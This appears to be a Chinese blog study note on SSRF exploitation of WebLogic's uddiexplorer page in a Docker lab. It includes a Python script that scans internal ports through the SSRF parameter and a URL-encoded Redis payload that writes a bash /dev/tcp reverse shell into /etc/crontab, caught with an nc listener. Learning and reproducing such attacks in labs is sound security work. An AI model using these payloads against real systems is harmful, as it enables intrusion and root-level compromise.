SSRF深入学习
阅读原文时间:2023年07月09日阅读:1

爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz

SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细想,SSRF漏洞还是挺重要的,不鸣则已,一鸣惊人,一但利用成功,还是很牛批。比如说SSRF + XXE ,SSRF + redis ,,

仔细想想,上面这段话,一般对,一半不对,不先探测内网咋知道都开启了哪些服务,有哪些漏洞。当然,有的时候也没准有别的漏洞也可以探测内网环境。

对了,这里十分推荐特别经典的SSRF教材,猪猪侠SSRF PPT

关于weblogic 的介绍

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

weblogic  漏洞影响的版本是 weblogic 10.0.2 -- 10.3.6  从Oracle 官网最低只找到了10.3.6的版本, 因为安装weblogic需要卸载jdk,就看了几遍别人总结的文章,权当自己也复现过了。

文章来源: https://www.cnblogs.com/yuzly/archive/2019/05/23/10903398.html

其中有一部需要反弹shell,当时练这个是啥都不知道

昨天先去学习了shell语言,因为练啥是反弹shell之前都没见过,,比较逗比的事情就是昨天还再群里问各位大佬,为啥我这个shell根本反弹不了(当时用的bash命令,用的Windows系统。。。。)

然后去安装了一上午redis….原谅我有点笨

参考的文章: https://www.cnblogs.com/hunanzp/p/12304622.html   写的很不错

接下来就是SSRF的一种利用方式,注入HTTP头,可以使用burp抓包或者用hackbar把编码好的语句直接插入进去,利用redis反弹shell

简要过程

先判断是否存在SSRF漏洞,确定之后在判断C段中都有哪些存活主机,然后探测此主机开放的端口,这里需要注意的是,如果端口是开放的,访问会显示 404 或者 403 禁止,如果端口是关闭的,则会显示 400 不存在,或者连不上

这里我们可以用一个小脚本来测试哪些常见端口开放

import thread
import time
import re
import requests

def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3)

def scan(final_ip): //直接修改vul_url即可
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass

if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"

端口测试回显   weblogic测试的时候返回的不同状态

  • 端口存在返回状态码returned a 404 error code
  • 端口不存在but could not connect over HTTP to server
  • 非http协议:did not have a valid SOAP content-type 协议没写:no protocol

具体返回什么你可以试一试,反正如果存在SSRF漏洞,端口存在和不存在返回的状态一定是不同的,(你可以一个个去试,也可以写个python脚本,还有一个简单方法就是用brup爆破模块探测C段主机和端口的开放)

节省时间,就自己到docker里去查看了一下ip

探测出开启了redis服务

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor
=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/

这里主要是operator=这里可进行操作,直接redis写shell就可以,

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

解码之后就是这样,这里一定要注意编码问题,换行是  %0d%0a  ,用工具转换的话只有

然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:

接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。

(关于redis写shell,在分类里面有文章专门介绍),

这里需要声明的是权限必须是root权限,否则无法进行写shell,不过对于redis攻击还有一种方法不需要root权限也可以进行利用,就是利用redis的主从模式,详细文章在分类里面有介绍。

原理就是把shell写到crontab定时任务里面,然后再改名成root,这么做的原因是在  /var/spool/cron/ 这个目录下root 是会系统定时执行的(需要注意,不同的操作系统,写文件的目录有所不同,在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建)

这里需要强调一点就是编码的问题,部分代码需要手动编码!!!!

(注意每条命令必须是%0d%0a分割,测试过只用%0a不成功,而且最后一条命令后面需要再随机加一行文本)

现在SSRF直接利用redis写shell的情况应该不是很多,主要的原因就是权限问题,利用redis写shell需要root权限,而新版本的redis以redis权限启动,并且一般用户都是以普通用户权限开启redis服务。

小米SSRF漏洞

http://xss.one/bug_detail.php?wybug_id=wooyun-2016-0215779

体验盒子 SSRF漏洞文章

https://www.uedbox.com/post/10524/

先知社区 红日安全的SSRF  写的很不错!!

https://xz.aliyun.com/t/6235